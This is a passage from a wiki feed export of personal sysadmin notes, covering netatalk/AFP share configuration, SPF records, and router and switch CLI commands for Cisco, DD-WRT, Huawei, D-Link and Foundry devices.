*** fperm:0644&lt;br /&gt;
&lt;br /&gt;
* the complete line:&lt;br /&gt;
 /directory/shared/ &amp;quot;Awesome Share&amp;quot; options:usedots,upriv,noadouble,nohex cnidscheme:cdb umask:002 dperm:0775 fperm:0664&lt;br /&gt;
&lt;br /&gt;
== veto files ==&lt;br /&gt;
* this option hides the objects specified between slashes&lt;br /&gt;
 veto: recycled/desktop.ini/Folder Settings/&lt;br /&gt;
&lt;br /&gt;
== UAM list ==&lt;br /&gt;
* usually in one of these dirs:&lt;br /&gt;
 /usr/local/etc/netatalk/uams&lt;br /&gt;
 /usr/lib/atalk&lt;br /&gt;
 /usr/lib64/netatalk&lt;br /&gt;
&lt;br /&gt;
 ls /usr/lib/atalk/&lt;br /&gt;
 uams_dhx2_pam.so  uams_dhx2_passwd.so  uams_dhx_pam.so  uams_dhx_passwd.so  uams_gss.so  uams_guest.so  uams_pam.so  uams_passwd.so  uams_randnum.so&lt;br /&gt;
&lt;br /&gt;
== Fedora 18 ==&lt;br /&gt;
* a config file is located here:&lt;br /&gt;
 /usr/libexec/netatalk/netatalk.sh&lt;br /&gt;
&lt;br /&gt;
= Volumes =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=php&amp;gt;&lt;br /&gt;
 path [name] [casefold:x] [options:z,l,j] \&lt;br /&gt;
   [allow:a,@b,c,d] [deny:a,@b,c,d] [dbpath:path] [password:p] \&lt;br /&gt;
   [rwlist:a,@b,c,d] [rolist:a,@b,c,d] [limitsize:value in bytes] \&lt;br /&gt;
   [preexec:cmd] [root_preexec:cmd] [postexec:cmd]  [root_postexec:cmd] \&lt;br /&gt;
   [allowed_hosts:IPv4 address[/IPv4 netmask bits]] \&lt;br /&gt;
   [denied_hosts:IPv4 address[/IPv4 netmask bits]] \&lt;br /&gt;
   ... more, see below ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* defaults:&lt;br /&gt;
 :DEFAULT: options:upriv,usedots,tm  umask:002 dperm:0775 fperm:0664&lt;br /&gt;
* only user home with defaults:&lt;br /&gt;
 ~&lt;br /&gt;
* a time machine volume (user based) :&lt;br /&gt;
 /backup/timemachine/$u/                         &amp;quot;TimeMachine&amp;quot;  options:usedots,upriv,noadouble,nohex,tm&lt;br /&gt;
&lt;br /&gt;
* a share allowed only to some users and group &amp;quot;video&amp;quot;&lt;br /&gt;
 /export/ingestion  &amp;quot;Ingest&amp;quot; options:usedots,upriv,noadouble,nohex cnidscheme:cdb umask:002 dperm:0775 fperm:0664 allow:ale,jack,@video&lt;br /&gt;
&lt;br /&gt;
== a read only share ==&lt;br /&gt;
&lt;br /&gt;
* we need to create an hidden folder for AppleDB files:&lt;br /&gt;
 mkdir /share/hidden&lt;br /&gt;
 chmod 700 /share/hidden&lt;br /&gt;
 dbpath:/share/hidden/.AppleDB/&lt;br /&gt;
&lt;br /&gt;
* a read only share&lt;br /&gt;
 /export/mirror/share     &amp;quot;Share-snapshot&amp;quot;  options:usedots,noadouble,nohex,ro,nocnidcache&lt;br /&gt;
&lt;br /&gt;
= problem solving =&lt;br /&gt;
&lt;br /&gt;
== Finder '''&amp;quot;stuck&amp;quot;''' on connect to share ==&lt;br /&gt;
* in the log you'll see the server stopping after a message like this:&lt;br /&gt;
''''' afpd[]: Setting uid/gid to 100/100'''''&lt;br /&gt;
&lt;br /&gt;
* the solution in my case was:&lt;br /&gt;
** stop the server&lt;br /&gt;
** remove the Finder database file '''.AppleDB'''&lt;br /&gt;
** restart server.&lt;br /&gt;
&lt;br /&gt;
 find . -maxdepth 9 -name '.AppleDouble' -type d -exec rm -rf &amp;quot;{}&amp;quot; \;&lt;br /&gt;
 find . -maxdepth 9 -name '._.DS_Store' -delete&lt;br /&gt;
 find . -name \.AppleDouble -o -name \.AppleDB -o -name \.DS_Store -o -name \.AppleDesktop -o -name Network\ Trash\ Folder -o -name Temporary\ Items -delete&lt;br /&gt;
&lt;br /&gt;
== when having a mirror server ==&lt;br /&gt;
&lt;br /&gt;
* DB becomes inconsistent due to path change (if different server) , the [[RSYNC]] command will need to exclude some files:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat /mirror/excludes_afp&lt;br /&gt;
.AppleDB/&lt;br /&gt;
.DS_Store&lt;br /&gt;
.AppleDesktop/&lt;br /&gt;
.AppleDouble/&lt;br /&gt;
.TemporaryItems/&lt;br /&gt;
Temporary Items/&lt;br /&gt;
Network Trash Folder/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* example:&lt;br /&gt;
 rsync -a --delete --delete-excluded --exclude-from=excludes_afp source_host:/dir/ /mirror/host/&lt;br /&gt;
&lt;br /&gt;
* mediacluster excludes &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
.encoding.log&lt;br /&gt;
.encoding.log.post.txt&lt;br /&gt;
.encoding.log.p2.txt&lt;br /&gt;
.stats.mbtree&lt;br /&gt;
.stats&lt;br /&gt;
ingestion/done/&lt;br /&gt;
virtual/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== version 3 ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 * Following config files are obsolete now:&lt;br /&gt;
 * afpd.conf, netatalk.conf, AppleVolumes.default and afp_ldap.conf&lt;br /&gt;
 * in favour of&lt;br /&gt;
 * /etc/afp.conf&lt;br /&gt;
&lt;br /&gt;
 * Please convert your existing configs before you restart your daemon&lt;br /&gt;
&lt;br /&gt;
 * The new AppleDouble default backend is appledouble = ea&lt;br /&gt;
 * Existing entries will be updated on access, but can do an offline&lt;br /&gt;
 * conversion with&lt;br /&gt;
 * dbd -ruve /path/to/Volume&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= variables =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=php&amp;gt;&lt;br /&gt;
 rules:&lt;br /&gt;
     1) if you specify an unknown variable, it will not get converted. &lt;br /&gt;
     2) if you specify a known variable, but that variable doesn't have&lt;br /&gt;
        a value, it will get ignored.&lt;br /&gt;
&lt;br /&gt;
 the variables:&lt;br /&gt;
 $b   -&amp;gt; basename of path&lt;br /&gt;
 $c   -&amp;gt; client's ip or appletalk address&lt;br /&gt;
 $d   -&amp;gt; volume pathname on server    &lt;br /&gt;
 $f   -&amp;gt; full name (whatever's in the gecos field)&lt;br /&gt;
 $g   -&amp;gt; group&lt;br /&gt;
 $h   -&amp;gt; hostname &lt;br /&gt;
 $i   -&amp;gt; client ip without tcp port or appletalk network   &lt;br /&gt;
 $s   -&amp;gt; server name (can be the hostname)&lt;br /&gt;
 $u   -&amp;gt; username (if guest, it's whatever user guest is running as)&lt;br /&gt;
 $v   -&amp;gt; volume name (either ADEID_NAME or basename of path)&lt;br /&gt;
 $z   -&amp;gt; zone (may not exist)&lt;br /&gt;
 $$   -&amp;gt; $&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= references =&lt;br /&gt;
* http://netatalk.sourceforge.net/2.0/htmldocs/configuration.html&lt;br /&gt;
* http://www.cnpbagwell.com/linux/fedora-13-and-os-x-10-6-interworking&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Spf&amp;diff=6410</id>
		<title>Spf</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Spf&amp;diff=6410"/>
		<updated>2022-06-28T10:43:45Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: Created page with &amp;quot;  * Soft Fail  v=spf1 ip4:85.214.201.250/32 ~all * Fail  v=spf1 ip4:85.214.201.250/32 -all&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
* Soft Fail&lt;br /&gt;
 v=spf1 ip4:85.214.201.250/32 ~all&lt;br /&gt;
* Fail&lt;br /&gt;
 v=spf1 ip4:85.214.201.250/32 -all&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6409</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6409"/>
		<updated>2022-06-26T17:39:40Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* NAT tutorial */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port-VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; IEEE 802.1Q trunking &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing '''&amp;lt;something&amp;gt;'''&lt;br /&gt;
 nvram show|grep &amp;lt;something&amp;gt;&lt;br /&gt;
 nvram show|grep ports&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing '''&amp;lt;something&amp;gt;'''&lt;br /&gt;
 for a in $(nvram show|grep &amp;lt;something&amp;gt;|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
# nvram commit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[edit] Port Attributes&lt;br /&gt;
&lt;br /&gt;
 0 or 1 to 15, or even 4096 This is the VLAN for the port. NOTE that due to the other attributes below, VLANs 16 to 21 are not supported!&lt;br /&gt;
 16 Tagged&lt;br /&gt;
 17 NOT Auto-Negotiate. (If #17 is off, you'll get 18, 19, and 21 on a gigabit switch)&lt;br /&gt;
 18 = NOT forced-100 MBit (either Auto-Negotiate is used, or some other speed is forced)&lt;br /&gt;
 19 = NOT Full-Duplex (either Auto-Negotiate is used, or Half-duplex is forced)&lt;br /&gt;
 20 = NOT Enabled (ie. disabled) &lt;br /&gt;
 21 = NOT forced-Gigabit (either Auto-Negotiate is used, or some other speed is forced)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
&lt;br /&gt;
 vlan#ports &lt;br /&gt;
    Each vlan is assigned one or more ports plus the CPU port. Default vlan and tagging also specified. &lt;br /&gt;
port#vlans &lt;br /&gt;
    Each port is assigned to one vlan (CPU to all vlans). Plus other per-port settings for speed, duplex, etc. &lt;br /&gt;
vlan#hwname &lt;br /&gt;
    Activates a vlan, ensuring it is properly initialized. &lt;br /&gt;
&lt;br /&gt;
*attributes&lt;br /&gt;
These are suffixes for the final CPU port number.&lt;br /&gt;
*&amp;quot;t&amp;quot; &lt;br /&gt;
    tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan. &lt;br /&gt;
*&amp;quot;u&amp;quot; &lt;br /&gt;
    used on WAN vlan, to ensure WAN traffic is untagged. &lt;br /&gt;
*&amp;quot;*&amp;quot; &lt;br /&gt;
    used on default LAN VLAN, untagged incoming traffic goes here. &lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
* Access CLI&lt;br /&gt;
** from the web interface, create a telnet enabled user and enable telnet service.&lt;br /&gt;
&lt;br /&gt;
 telnet 192.168.x.x &lt;br /&gt;
 ...&lt;br /&gt;
 system-view&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== del vlan ===&lt;br /&gt;
 [RouterBackup]undo interface Vlanif 6  &lt;br /&gt;
 [RouterBackup]undo Vlan 6&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== Save running config ===&lt;br /&gt;
 [Router] save&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
*;  Create an APN profile.&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
  [Huawei] sysname Router&lt;br /&gt;
  [Router] apn profile lteprofile&lt;br /&gt;
  [Router-apn-profile-lteprofile] apn ltenet&lt;br /&gt;
  [Router-apn-profile-lteprofile] quit&lt;br /&gt;
&lt;br /&gt;
*;  Configure a network connection mode.&lt;br /&gt;
&lt;br /&gt;
  [Router] interface cellular 0/0/0&lt;br /&gt;
  [Router-Cellular0/0/0] mode lte auto&lt;br /&gt;
&lt;br /&gt;
*;  Bind the APN profile to the LTE cellular interface.&lt;br /&gt;
&lt;br /&gt;
  [Router-Cellular0/0/0] dialer enable-circular&lt;br /&gt;
  [Router-Cellular0/0/0] apn-profile ltenet&lt;br /&gt;
  [Router-Cellular0/0/0] shutdown&lt;br /&gt;
  [Router-Cellular0/0/0] undo shutdown&lt;br /&gt;
  [Router-Cellular0/0/0] quit&lt;br /&gt;
&lt;br /&gt;
Configure C-DCC for dial-up connection.&lt;br /&gt;
&lt;br /&gt;
*;  Configure a dialer control list.&lt;br /&gt;
&lt;br /&gt;
  [Router] dialer-rule&lt;br /&gt;
  [Router-dialer-rule] dialer-rule 1 ip permit&lt;br /&gt;
  [Router-dialer-rule] quit&lt;br /&gt;
&lt;br /&gt;
*;  Obtain IP addresses dynamically.&lt;br /&gt;
&lt;br /&gt;
  [Router] interface cellular 0/0/0&lt;br /&gt;
  [Router-Cellular0/0/0] ip address negotiate&lt;br /&gt;
&lt;br /&gt;
*;  Associate Cellular0/0/0 to the dialer control list.&lt;br /&gt;
&lt;br /&gt;
  [Router-Cellular0/0/0] dialer-group 1&lt;br /&gt;
&lt;br /&gt;
Ensure that the group-number value in the dialer-group command is the same as the dialer-rule-number value in the dialer-rule command.&lt;br /&gt;
&lt;br /&gt;
*; Configure the dialer number.&lt;br /&gt;
&lt;br /&gt;
  [Router-Cellular0/0/0] dialer number *99# autodial&lt;br /&gt;
  [Router-Cellular0/0/0] quit&lt;br /&gt;
&lt;br /&gt;
*;Configure the enterprise intranet.&lt;br /&gt;
&lt;br /&gt;
*  Create VLAN 10 and add Ethernet 2/0/0 to VLAN 10.&lt;br /&gt;
&lt;br /&gt;
  [Router] vlan 10&lt;br /&gt;
  [Router-vlan10] quit&lt;br /&gt;
  [Router] interface ethernet 2/0/0&lt;br /&gt;
  [Router-Ethernet2/0/0] port link-type trunk&lt;br /&gt;
  [Router-Ethernet2/0/0] port trunk allow-pass vlan 10&lt;br /&gt;
  [Router-Ethernet2/0/0] quit&lt;br /&gt;
&lt;br /&gt;
*; Enable DHCP.&lt;br /&gt;
&lt;br /&gt;
  [Router] dhcp enable&lt;br /&gt;
&lt;br /&gt;
*; Create a global address pool.&lt;br /&gt;
&lt;br /&gt;
  [Router] ip pool 4gpool&lt;br /&gt;
  [Router-ip-pool-4gpool] network 192.168.100.0 mask 255.255.255.0&lt;br /&gt;
  [Router-ip-pool-4gpool] gateway-list 192.168.100.1&lt;br /&gt;
  [Router-ip-pool-4gpool] quit&lt;br /&gt;
&lt;br /&gt;
*; Configure the interface to work in global address pool mode.&lt;br /&gt;
&lt;br /&gt;
  [Router] interface vlanif 10&lt;br /&gt;
  [Router-Vlanif10] ip address 192.168.100.1 255.255.255.0&lt;br /&gt;
  [Router-Vlanif10] dhcp select global&lt;br /&gt;
  [Router-Vlanif10] quit&lt;br /&gt;
&lt;br /&gt;
*; Configure the NAT function.&lt;br /&gt;
&lt;br /&gt;
  [Router] acl number 3002&lt;br /&gt;
  [Router-acl-adv-3002] rule 5 permit ip source 192.168.100.0 0.0.0.255&lt;br /&gt;
  [Router-acl-adv-3002] quit&lt;br /&gt;
  [Router] interface cellular 0/0/0&lt;br /&gt;
  [Router-Cellular0/0/0] nat outbound 3002&lt;br /&gt;
  [Router-Cellular0/0/0] quit&lt;br /&gt;
&lt;br /&gt;
*; Configure a default route and specify Cellular0/0/0 as the outbound interface.&lt;br /&gt;
&lt;br /&gt;
  [Router] ip route-static 0.0.0.0 0 cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
